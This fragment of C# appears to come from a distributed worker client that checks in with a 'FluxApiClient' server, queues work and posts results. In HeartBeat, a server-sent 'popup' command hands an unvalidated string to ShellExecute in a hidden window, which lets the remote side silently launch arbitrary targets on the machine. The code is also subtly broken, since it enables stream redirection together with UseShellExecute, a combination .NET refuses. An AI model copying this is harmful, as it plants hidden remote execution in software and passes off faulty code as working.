public override void HeartBeat() { string sCommand = FluxApiClient.CheckIn(); switch (sCommand.Split()[0]) { case "popup": // Pop Up Browser by throwing url at command line System.Diagnostics.ProcessStartInfo psi = new System.Diagnostics.ProcessStartInfo(sCommand.Split()[1]); psi.UseShellExecute = true; psi.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden; psi.CreateNoWindow = true; psi.RedirectStandardError = true; psi.RedirectStandardOutput = true; psi.RedirectStandardInput = true; Process serviceProcess = new System.Diagnostics.Process(); serviceProcess.StartInfo = psi; serviceProcess.Start(); break; default: // Do nothing break; } }
public void GetMoreWork() { if (bGetWorkBusy == true) { return; } bGetWorkBusy = true; string sWork = FluxApiClient.GetWork(); if (sWork != "") { if (sWork.Contains("\n")) { string[] spUpdates = sWork.Replace("\r", "").Split('\n'); foreach (string sUpdating in spUpdates) { addToQueue(sUpdating); } } else { addToQueue(sWork); } } iMaxThreadCount++; System.Threading.Thread.Sleep(15000); bGetWorkBusy = false; }
public void PostResults(string sTaskUUID, string results, string action) { FluxApiClient.PostResults(sTaskUUID, results, action); }